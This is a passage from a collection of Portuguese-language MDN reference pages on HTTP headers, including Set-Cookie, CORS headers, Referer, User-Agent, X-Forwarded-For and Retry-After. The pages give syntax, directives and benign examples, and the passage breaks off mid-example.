inerentemente inseguro e isso não significa, por exemplo que qualquer informação é criptografada.\n\n**Nota:** Sites inseguros (`http:`) não podem mais atribuir cookies com a diretiva \"secure\" (novo em Chrome 52+ firefox Firefox 52+).\n\nHttpOnly Optional\n\nCookies HttpOnly não são acessíveis via JavaScript através da propriedade `Document.cookie` (en-US), as API's `XMLHttpRequest` e `Request` são utilizadas para aliviar ataques de cross-site scripting (XSS (en-US)).\n\nSameSite=Strict\n SameSite=Lax Optional \nExperimental\n\nPermite que servidores garantam que um cookie não deve ser enviado juntamente com solicitações de sites cruzados (cross-site) , o que fornece novamente alguma proteção aos ataques de falsificação de solicitação entre sites (CSRF) (CSRF (en-US)) *.*\n\nExemplos\n--------\n\n### Sessão de cookie\n\nSessão de cookie serão removidos quando o cliente desligar. Eles não especificam as diretivas Expires ou Max-Age. Note que o navegador web tem frequentemente a opção \"restaurar sessão\" habilitada..\n```\n\nSet-Cookie: sessionid=38afes7a8; HttpOnly; Path=/\n```\n\n### Cookie permanente\n\nAo invés de expirar quando o cliente fecha, os cookies permantentes expiram numa data especificada (Expires), ou depois de uma duração de tempo especificada (Max-Age).\n```\n\nSet-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly\n```\n\n### Domínios inválidos\n\nUm cookie pertencente a um domínio que não inclui o servidor original, deve ser rejeitado pelo agente usuário. Por exemplo: O cookie seguinte será rejeitado se foi atribuído por um servidor hospedado em originalcompany.com.\n```\n\nSet-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT\n```\n\n### Prefixo do cookie\n\nNomes de cookies com os prefixos `__Secure-` e `__Host-` podem ser utilizados apenas de eles forem atribuídos com a diretiva `secure` de uma origem segura (HTTPS). Além disso, cookies com o prefixo `__Host-` devem ter um caminho (path) de `/` (o host inteiro) e não devem ter um atributo de dominio. Para clientes que não implementam prefixos de cookie, você não pode contar com essas garantias adicionais e os cookies serão sempre aceitos.\n```\n\n// Ambos aceitos quando de uma origem segura (HTTPS)\nSet-Cookie: __Secure-ID=123; Secure; Domain=example.com\nSet-Cookie: __Host-ID=123; Secure; Path=/\n\n// Rejeitado devido a não atribuição da diretiva Secure\nSet-Cookie: __Secure-id=1\n\n// Rejeitado devido a falta da diretiva Path=/\nSet-Cookie: __Host-id=1; Secure\n\n// Rejeitado devido a atribuição de um domínio\nSet-Cookie: __Host-id=1; Secure; Path=/; domain=example.com\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 6265, sessão 4.1: Set-Cookie | HTTP State Management Mechanism |\n| RFC draft-ietf-httpbis-cookie-prefixes-00 | Cookie Prefixes |\n| RFC draft-ietf-httpbis-cookie-same-site-00 | Same-Site Cookies |\n| RFC draft-ietf-httpbis-cookie-alone-01 | Strict Secure Cookies |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\n* Começando com Chrome 53 e Firefox 52, sites inseguros (`http:`) não podem mais atribuir cookies com a diretiva \"secure\".\nVeja também\n-----------\n\n* HTTP cookies\n* `Cookie`\n* `Document.cookie` (en-US)"}
{"title":"Cross-Origin-Resource-Policy - HTTP","text":"Cross-Origin-Resource-Policy\n============================\n\n**Nota:** Devido a um bug no Chrome, configurar Cross-Origin-Resource-Policy pode quebrar a renderização de PDF, impedindo visitantes de conseguir ler além da primeira página de alguns PDFs. Utilize com cuidado este cabeçalho em um ambiente de produção.\n\nO cabeçalho de resposta HTTP **`Cross-Origin-Resource-Policy`** indica um desejo que o navegador bloqueie requisições que não sejam entre origens e/ou entre sites para um dado recurso.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nCross-Origin-Resource-Policy: same-site | same-origin | cross-origin\n```\n\nExemplos\n--------\n\nO cabeçalho de resposta abaixo pode causar a agentes de usuário compatíveis a desabilitar requisição que não sejam entre origens:\n```\n\nCross-Origin-Resource-Policy: same-origin\n```\n\n\nPara mais exemplos, veja https://resourcepolicy.fyi/.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # cross-origin-resource-policy-header |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Explicação da Cross-Origin Resource Policy (CORP) (en-US)\n* Considere usar Cross-Origin Resource Policy"}
{"title":"Access-Control-Request-Headers - HTTP","text":"Access-Control-Request-Headers\n==============================\n\nO cabeçalho da solicitação **`Access-Control-Request-Headers`** é usado ao emitir um preflight request para permitir que o servidor saiba quais cabeçalhos HTTP serão usados quando a solicitação real for feita.\n\n|  |  |\n| --- | --- |\n| Header type | Request header |\n| Forbidden header name | yes |\n\nSintaxe\n-------\n```\n\nAccess-Control-Request-Headers: <header-name>, <header-name>, ...\n```\n\nDiretivas\n---------\n\n<header-name>\n\nUma lista delimitada por vírgula HTTP headers incluídos na solicitação.\n\nExemplos\n--------\n```\n\nAccess-Control-Request-Headers: X-PINGOTHER, Content-Type\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-request-headers |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Access-Control-Request-Method`"}
{"title":"Referer - HTTP","text":"Referer\n=======\n\nO cabeçalho de requisição HTTP **`Referer`** contém o endereço da página web anterior do qual a página atual requerida foi chamada. O `Referer` permite aos servidores identificar de onde as pessoas estão visitando eles e pode usar esses dados para análise, log e cacheamento otimizado, por exemplo.\n\n**Aviso:** **Importante**: Apesar que esse cabeçalho tenha diversos usos inocentes, ele pode ter consequências indesejáveis para segurança e privacidade dos usuários. Veja Referer header: privacy and security concerns (en-US) para mais informações e mitigações.\n\nNote que *referer* é na verdade, uma má pronúncia da palavra \"referrer\"(\"referenciador\"). Veja HTTP referer no Wikipedia para mais detalhes.\n\nO cabeçalho `Referer` não é enviado pelos navegadores se:\n\n* O recurso referenciado é um arquivo local ou URI de dados.\n* Uma requisição HTTP insegura é usada e a página referenciada utilizou o protocolo seguro (HTTPS).\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | yes |\n\nSintaxe\n-------\n```\n\nReferer: <url>\n```\n\nDiretivas\n---------\n\n<url>\n\nUm endereço parcial ou absoluto da página web anterior do qual a página atual requirida foi alcançada. Fragmentos de URL (i.e. \"#section\") e informações de usuário (i.e. \"username:password\" em \"https://username:password@example.com/foo/bar/\") não são inclusos.\n\nExemplos\n--------\n```\n\nReferer: https://developer.mozilla.org/pt-BR/docs/Web/JavaScript\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 5.5.2: Referer | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTTP referer no Wikipedia\n* `Referrer-Policy`"}
{"title":"User-Agent - HTTP","text":"User-Agent\n==========\n\nO cabeçalho de requisição **User-Agent** é uma cadeia de caracteres característica que permite servidores e pares de rede identificar a aplicação, sistema operacional, fornecedor, e/ou versão do agente de usuário requisitante.\n\n**Aviso:** Por favor leia Detectando o navegador usando o agente de usuário (Browser detection using the user agent) (en-US) para por quê servir diferentes páginas Web ou serviços para diferentes navegadores é geralmente uma má ideia.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nUser-Agent: <product> / <product-version> <comment>\n```\n\n\nFormato comum para navegadores web:\n```\n\nUser-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions>\n```\n\n### Diretivas\n\n`<product>`\n\nUm identificador do produto - seu nome ou codinome de desenvolvimento.\n\n`<product-version>`\n\nNúmero da versão do produto.\n\n`<comment>`\n\nZero ou mais comentários contendo mais detalhes; informação de subproduto, por exemplo.\n\nFirefox UA string\n-----------------\n\nPara mais cadeias de caracteres de agente de usuário do Firefox e Gecko, veja a referência para cadeias de caracteres de agente de usuário do Firefox (Firefox user agent string reference) (en-US). A cadeia de caracteres UA do Firefox é quebrada em 4 componentes:\n```\n\nMozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion\n```\n\n\n1. `Mozilla/5.0` é o *token* geral que diz que o navegador é compatível com Mozilla. Por razões históricas, quase todo navegador envia isso hoje.\n2. ***platform*** descreve a plataforma nativa que navegador está executando (Windows, Mac, Linux, Android, etc.), e se é um telefone celular. Telefones Firefox OS (en-US) simplesmente dizem `Mobile` — a web é a plataforma. Note que ***platform*** pode consistir de múltiplos *tokens* separador por \"`;`\" (ponto e vírgula). Veja abaixo para mais detalhes e exemplos.\n3. **rv:*geckoversion*** indica a versão de *release* do Gecko (como a \"*17.0*\"). Em navegadores recentes, ***geckoversion*** é o mesmo que ***firefoxversion***.\n4. ***Gecko/geckotrail*** indica que o navegador é baseado no Gecko. (No Desktop, ***geckotrail*** é sempre a cadeia de caracteres fixa `20100101`.)\n5. ***Firefox/firefoxversion*** indica que o navegador é o Firefox, e provém a versão (como a \"*17.0\"*).\n### Exemplos\n```\n\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0\nMozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0\n```\n\nChrome UA string\n----------------\n\nA cadeia de caracteres do agente de usuário do Chrome (ou baseados em Chromium/Blink) é similar ao do Firefox. Para compatibilidade, ele adiciona cadeias de caracteres como `KHTML, like Gecko` e `Safari`.\n\n### Exemplos\n```\n\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\n```\n\nOpera UA string\n---------------\n\nO navegador Opera também é baseado no Blink, o motivo pelo qual se parecem muito, mas adiciona `\"OPR/<version>\"`.\n\n### Exemplos\n```\n\nMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\n```\n\n\nMais antigo, versões do Opera baseados no Presto usavam:\n```\n\nOpera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00\nOpera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1\n```\n\nSafari UA string\n----------------\n\nNeste exemplo, a cadeia de caracteres de agente de usuários é a versão de móvel do Safari. Ela contém a palavra `\"Mobile\"`.\n\n### Exemplos\n```\n\nMozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1\n```\n\nInternet Explorer UA string\n---------------------------\n\n### Exemplos\n```\n\nMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)\n```\n\nCrawler e bot UA strings\n------------------------\n\nExemplos\n```\n\nGooglebot/2.1 (+http://www.google.com/bot.html)\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 5.5.3: User-Agent | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n| RFC 2616, sessão 14.43: User-Agent | Hypertext Transfer Protocol — HTTP/1.1 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Detecção, histórico e checklist de User-Agent\n* Referência para cadeias de caracteres de agente de usuário do Firefox (Firefox user agent string reference) (en-US)\n* Detectando o navegador usando o agente de usuário (Browser detection using the user agent) (en-US)"}
{"title":"X-Forwarded-For - HTTP","text":"X-Forwarded-For\n===============\n\nO cabeçalho **`X-Forwarded-For`** (XFF) é de fato um cabeçalho padrão para identificar o endereço de IP original de um cliente conectando a um servidor web através de um proxy HTTP ou um balenceador de carga. Quando tráfego específico é interceptado entre clientes e servidores, *logs* de acesso do servidor contém o endereço IP do proxy ou balanceador de carga somente. Para ver o endereço IP original do cliente, o cabeçalho de requisição `X-Forwarded-For` é utilizado.\n\nEste cabeçalho é utilizado para depuração, estatísticas, e gerar conteúdo dependente localmente e por design ele expõe informações privadas sensíveis, como o endereço IP do cliente. Então a privacidade do usuário deve estar em mente quando utilizando este cabeçalho.\n\nUma versão padronizada deste cabeçalho é o cabeçalho HTTP `Forwarded`.\n\n`X-Forwarded-For` é também um cabeçalho de email indicando que uma mensagem de email foi redirecionada para outra conta.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nX-Forwarded-For: <client>, <proxy1>, <proxy2>\n```\n\nDiretivas\n---------\n\n<client>\n\nO endereço de IP do cliente.\n\n<proxy1>, <proxy2>\n\nSe a requisição atravessa múltiplos proxies, os endereços IP de cada proxy sucessivo são listados. Isto significa, o endereço IP mais a direita é o endereço IP mais do proxy mais recente, e o endereço IP mais a esquerda é o endereço IP originário do cliente.\n\nExemplos\n--------\n```\n\nX-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348\n\nX-Forwarded-For: 203.0.113.195\n\nX-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178\n```\n\n\nOutras formas não padronizadas:\n```\n\n# Usado por alguns serviços da Google\nX-ProxyUser-Ip: 203.0.113.19\n```\n\nEspecificações\n--------------\n\nNão pertence a nenhuma especificação atualmente. A versão padronizada do cabeçalho é `Forwarded`.\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* `Forwarded`\n* `X-Forwarded-Host`\n* `X-Forwarded-Proto`\n* `Via`"}
{"title":"Trailer - HTTP","text":"Trailer\n=======\n\nO cabeçalho de resposta **Trailer** permite o remetente incluir campos adicionais ao final de mensagens fragmentadas visando prover metadados que podem ser dinamicamente gerados enquanto o corpo da mensagem é enviado, como a mensagem de checagem de integridade, assinatura digital, ou status de pós-processamento.\n\n**Nota:** O cabeçalho de requisição `TE` precisa ser colocado como \"trailers\" para permitir campos de reboque (*trailers*).\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nTrailer: header-names\n```\n\nDiretivas\n---------\n\n`header-names`\n\nCabeçalhos HTTP que estarão presentes na parte de reboque das mensagens fragmentadas. Estes campos de cabeçalhos **não** estão permitidos:\n\n* cabeçalhos de enquadramento de mensagem (e.g., `Transfer-Encoding` e `Content-Length`),\n* Cabeçalhos de roteamento (e.g., `Host`),\n* Modificadores de requisição (e.g., controles e condicionais, como `Cache-Control`, `Max-Forwards` (en-US), ou `TE`),\n* cabeçalhos de autenticação (e.g., `Authorization` ou `Set-Cookie`),\n* ou `Content-Encoding`, `Content-Type`, `Content-Range`, e `Trailer` em si.\n\nExemplos\n--------\n\n### Codificação de transferência fragmentada usando cabeçalho de reboque\n\nNeste exemplo, o cabeçalho `Expires` é usado no fim da mensagem fragmentada e serve como cabeçalho de reboque.\n```\n\nHTTP/1.1 200 OK\nContent-Type: text/plain\nTransfer-Encoding: chunked\nTrailer: Expires\n\n7\\r\\n\nMozilla\\r\\n\n9\\r\\n\nDeveloper\\r\\n\n7\\r\\n\nNetwork\\r\\n\n0\\r\\n\nExpires: Wed, 21 Oct 2015 07:28:00 GMT\\r\\n\n\\r\\n\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7230, sessão 4.4: Trailer | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n| RFC 7230, sessão 4.1.2: Chunked trailer part | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Transfer-Encoding`\n* `TE`\n* Codificação de transferência fragmentada"}
{"title":"Accept-Charset - HTTP","text":"Accept-Charset\n==============\n\nO cabeçalho de requisição HTTP **`Accept-Charset`** anuncia quais character encodings o cliente entende. Usando negociação de conteúdo, o servidor seleciona uma das codificações, a utiliza, e informa o cliente da sua escolha dentro do cabeçalho de resposta `Content-Type`, geralmente em um parâmetro `charset=`. Navegadores geralmente não mandam este cabeçalho, por que o valor padrão para cada recurso geralmente está correto e transmiti-lo iria permitir fingerprinting (en-US).\n\nSe o servidor não pode servir nenhum codificação de caracteres vindo deste cabeçalho de requisição, ele pode teoricamente manda de volta um código de erro `406 Not Acceptable`. Mas para uma melhor experiência de usuário, isso raramente é feito e o cabeçalho `Accept-Charset` é ignorado.\n\n**Nota:** Nas versões mais antigas do HTTP/1.1, a codificação de caracteres definida era: ISO-8859-1. Isto não é mais recomendado, e agora todo tipo de conteúdo tem o seu próprio padrão.\n\nO UTF-8 é agora muito bem suportado e extremamente recomendado como codificação de caracteres preferida. Para garantir melhor privacidade e através de menor entropia com base em configuração, todos os navegadores omitem o cabeçalho `Accept-Charset`: Internet Explorer 8+, Safari 5+, Opera 11+, Firefox 10+ e Chrome 27+ não o enviam mais.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nAccept-Charset: <charset>\n\n// Múltiplos tipos, com pesos baseados na sintaxe de quality value (en-US):\nAccept-Charset: utf-8, iso-8859-1;q=0.5\n```\n\nDiretivas\n---------\n\n`<charset>`\n\nO nome da codificação de caracteres, como `utf-8` ou `iso-8859-15.`\n\n`*`\n\nQualquer codificação de caracteres não mencionada em qualquer lugar no cabeçalho; `*` é usado como coringa.\n\n`;q=<weight>`\n\nQualquer codificação de caracteres é colocado na ordem de preferência, expresso usando um quality value (en-US) relativo chamado de *peso*.\n\nExemplos\n--------\n```\n\nAccept-Charset: iso-8859-1\n\nAccept-Charset: utf-8, iso-8859-1;q=0.5\n\nAccept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 5.3.3: Accept-Charset | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context |\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* Negociação de conteúdo HTTP\n* Nunca mais Accept-Charset\n* Cabeçalho com a resposta do conteúdo de negociação: `Content-Type`\n* Outros cabeçalhos similares: `TE`, `Accept-Encoding`, `Accept-Language`, `Accept`"}
{"title":"Server - HTTP","text":"Server\n======\n\nO cabeçalho **`Server`** contem informação sobre o software usado pelo servidor de origem para manipular a solicitação.\n\nValores excessivamente longos e detalhados do Servidor devem ser evitados, já que eles potencialmente revelam detalhes internos de implementação que podem tornar (um pouco) mais fácil para os invasores encontrarem e explorarem falhas de segurança conhecidas.\n\n|  |  |\n| --- | --- |\n| Header type | Response header (en-US) |\n| Forbidden header name | no |\n\nSyntaxe\n-------\n```\n\nServer: <product>\n```\n\nDiretivas\n---------\n\n<product>\n\nO nome do software ou (sub) produto que manipula as solicitações.\n\nExemplos\n--------\n```\n\nServer: Apache/2.4.1 (Unix)\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 7.4.2: Server | Hypertext Transfer Protocol (HTTP/1.1): Semântica e Conteúdo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Allow`"}
{"title":"Date - HTTP","text":"Date\n====\n\nO cabeçalho geral HTTP **`Date`** contém a data e a hora que a mensagem foi gerada.\n\n**Aviso:** Note que `Date` é listado em nomes de cabeçalhos proibidos na especificação do fetch - então este código não enviará o cabeçalho `Date`:\n\n\n```js\nfetch(\"https://httpbin.org/get\", {\n  headers: {\n    Date: new Date().toUTCString(),\n  },\n});\n```\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | General header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nDate: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT\n```\n\nDiretivas\n---------\n\n<day-name>\n\nDia da semana, um de \"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", ou \"Sun\" (sensível a capitalização). Segunda-feira até domingo em ordem.\n\n<day>\n\nUm dia em número de 2 dígitos, e.g. \"04\" ou \"23\".\n\n<month>\n\nUm de \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\" (sensível a capitalização). Os meses em ordem de Janeiro a Dezembro.\n\n<year>\n\nUm ano em número de 4 dígitos, e.g. \"1990\" ou \"2016\".\n\n<hour>\n\nUma hora em número de 2 dígitos, e.g. \"09\" ou \"23\".\n\n<minute>\n\nMinutos em número de 2 dígitos, e.g. \"04\" ou \"59\".\n\n<second>\n\nSegundos em número de 2 dígitos, e.g. \"04\" ou \"59\".\n\nGMT\n\nMeridiano de Greenwich. Datas HTTP são sempre expressadas em GMT, nunca em tempo local.\n\nExemplos\n--------\n```\n\nDate: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\n\n\n```js\nnew Date().toUTCString();\n// \"Mon, 09 Mar 2020 08:13:24 GMT\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 7.1.1.2: Date | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Age`"}
{"title":"Access-Control-Allow-Headers - HTTP","text":"Access-Control-Allow-Headers\n============================\n\nO cabeçalho de resposta **`Access-Control-Allow-Headers`** é usado na resposta à uma preflight request na qual incluí o cabeçalho `Access-Control-Request-Headers` para indicar quais cabeçalhos HTTP podem ser utilizados durante a requisição efetiva.\n\nEste cabeçalho é obrigatório se a requisição tem um cabeçalho `Access-Control-Request-Headers`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAccess-Control-Allow-Headers: <nome-do-cabeçalho>[, <nome-do-cabeçalho>]*\nAccess-Control-Allow-Headers: *\n```\n\nDiretivas\n---------\n\n`<nome-do-cabeçalho>`\n\nO nome de um cabeçalho suportado. O cabeçalho pode listar qualquer quantidade de cabeçalhos, desde que sejam separados por vírgula.\n\n`*` (coringa)\n\nO valor \"`*`\" só conta como um valor coringa para requisições sem credenciais (requisições sem cookies HTTP ou informação de autenticação HTTP). Em requisições com credenciais, isso é tratado como o nome de cabeçalho literal \"`*`\" sem qualquer semântica especial. Note que o cabeçalho `Authorization` não pode utilizar um coringa e sempre precisa ser listado explicitamente.\n\nOs cabeçalhos CORS-safelisted request headers (en-US), `Accept`, `Accept-Language`, `Content-Language`, `Content-Type` são sempre permitidos e não precisam ser listados por este cabeçalho necessariamente. Entretanto, note que restrições adicionais são aplicadas com estes cabeçalhos envolvidos por listar estes cabeçalhos no cabeçalho `Access-Control-Allow-Headers` também.\n\nExemplos\n--------\n\n### Um cabeçalho customizado\n\nAqui está um exemplos de como um cabeçalho `Access-Control-Allow-Headers` pode se parecer. Isso indica que em adição aos *CORS-safelisted request headers*, um cabeçalho customizado chamado `X-Custom-Header` é suportado por requisições CORS pelo servidor.\n```\n\nAccess-Control-Allow-Headers: X-Custom-Header\n```\n\n### Múltiplos cabeçalhos\n\nEste exemplo mostra o cabeçalho `Access-Control-Allow-Headers` quando é especificado para suportar diversos cabeçalhos.\n```\n\nAccess-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests\n```\n\n### Burlando restrições adicionais\n\nApesar de que CORS-safelisted request headers (en-US) são sempre permitidos e geralmente não precisam ser listados no cabeçalho `Access-Control-Allow-Headers`, listá-los de qualquer forma irá envolver as restrições adicionais (en-US) que são aplicadas.\n```\n\nAccess-Control-Allow-Headers: Accept\n```\n\n### Exemplo de requisição pré-vôo\n\nVamos dar uma olhada em um exemplo de requisição pré-vôo envolvendo o cabeçalho `Access-Control-Allow-Headers`.\n\n#### Requisição\n\nPrimeiro, a requisição. A requisição pré-vôo é uma requisição `OPTIONS` que inclui algumas combinações de três cabeçalhos de requisições pré-vôo: `Access-Control-Request-Method`, `Access-Control-Request-Headers`, e `Origin`, como por exemplo:\n```\n\nOPTIONS /resource/foo\nAccess-Control-Request-Method: DELETE\nAccess-Control-Request-Headers: origin, x-requested-with\nOrigin: https://foo.bar.org\n```\n\n\n#### Resposta\n\nSe o servidor permite requisições CORS para usar o método `DELETE`, ele responde com um cabeçalho de resposta `Access-Control-Allow-Methods`, no qual lista `DELETE` junto à outros métodos suportados:\n```\n\nHTTP/1.1 200 OK\nContent-Length: 0\nConnection: keep-alive\nAccess-Control-Allow-Origin: https://foo.bar.org\nAccess-Control-Allow-Methods: POST, GET, OPTIONS, DELETE\nAccess-Control-Max-Age: 86400\n```\n\n\nSe o método requisitado não é suportado, o servidor irá responder com um erro.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-allow-headers |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Access-Control-Allow-Origin`\n* `Access-Control-Expose-Headers`\n* `Access-Control-Allow-Methods`\n* `Access-Control-Request-Headers`"}
{"title":"Access-Control-Allow-Credentials - HTTP","text":"Access-Control-Allow-Credentials\n================================\n\nO cabeçalho de resposta **`Access-Control-Allow-Credentials`** diz aos navegadores se a resposta deve ser exposta ao código *frontend* JavaScript quando o modo de credenciais da requisição (`Request.credentials` (en-US)) é `include`.\n\nQuando o modo de credenciais da requisição (`Request.credentials` (en-US)) é `include`, navegadores vão somente expor a resposta ao código *frontend* JavaScript se o valor de `Access-Control-Allow-Credentials` for `true`.\n\nCredenciais são *cookies*, cabeçalhos de autorização ou certificados de cliente TLS.\n\nQuando usado como parte de uma resposta a uma requisição pré-vôo (*preflight)*, isso indica se a requisição atual vai ou não ser feita usando credenciais. Note que uma simples requisição `GET` não é feita com pré-vôo, e se uma requisição é feita para um recurso usando credenciais, se o cabeçalho não é retornado com o recurso, a resposta é ignorada pelo navegador e não é retornada ao conteúdo web.\n\nO cabeçalho `Access-Control-Allow-Credentials` funciona em conjunto com a propriedade `XMLHttpRequest.withCredentials` (en-US) ou com a opção `credentials` na construtor da `Request()` na Fetch API. Para requisições CORS com credenciais, para que os navegadores exponham a resposta ao código *frontend* JavaScript, ambos o servidor (usando o cabeçalho `Access-Control-Allow-Credentials`) e o cliente (colocando o modo de credenciais para o XHR, Fetch, ou requisição Ajax) devem indicar que eles estão optando por incluir as credenciais.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nAccess-Control-Allow-Credentials: true\n```\n\nDiretivas\n---------\n\ntrue\n\nO único valor válido para este cabeçalho é `true` (case-sensitive). Se você não precisa de credenciais, omita este cabeçalho inteiramente (ao invés de colocar seu valor para `false`).\n\nExemplos\n--------\n\nPermitindo credenciais:\n```\n\nAccess-Control-Allow-Credentials: true\n```\n\n\nUsando XHR com credenciais:\n\n\n```js\nvar xhr = new XMLHttpRequest();\nxhr.open(\"GET\", \"http://example.com/\", true);\nxhr.withCredentials = true;\nxhr.send(null);\n```\n\n\nUsando Fetch com credenciais:\n\n\n```js\nfetch(url, {\n  credentials: \"include\",\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-allow-credentials |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `XMLHttpRequest.withCredentials` (en-US)\n* `Request()`"}
{"title":"Retry-After - HTTP","text":"Retry-After\n===========\n\nO cabeçalho de resposta HTTP **`Retry-After`** indica quanto tempo o agente de usuário deve aguardar antes de fazer outro pedido de acompanhamento. Existem dois casos principais em que este cabeçalho é usado:\n\n* Quando enviado com uma resposta `503` (Service Unavailable), indica quanto tempo o serviço deve ficar indisponível.\n* Quando enviado com uma resposta de redirecionamento, como `301` (Moved Permanently), indica o tempo mínimo solicitado que o agente de usuário aguarde antes de realizar o pedido de redirecionamento.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nRetry-After: <data-http>\nRetry-After: <atraso-segundos>\n```\n\nDiretivas\n---------\n\n<data-http>\n\nUma data para tentar novamente posteriormente. Veja o cabeçalho `Date` para mais detalhes sobre o formato de data HTTP.\n\n<atraso-segundos>\n\nUm decimal inteiro não-negativo indicando o tempo em segundos para esperar após a resposta ser recebida.\n\nExemplos\n--------\n\n### Lidando com uma indisponibilidade programada\n\nO suporte para o cabeçalho `Retry-After` tanto em clientes quanto em servidores ainda é inconsistente. Apesar disto, alguns indexadores e robôs, como o Googlebot, honram o cabeçalho `Retry-After`. É útil enviá-lo junto com uma resposta `503` (Service Unavailable), assim, os mecanismos de busca poderão continuar indexando o seu site quando a indisponibilidade acabar.\n```\n\nRetry-After: Wed, 21 Oct 2015 07:28:00 GMT\nRetry-After: 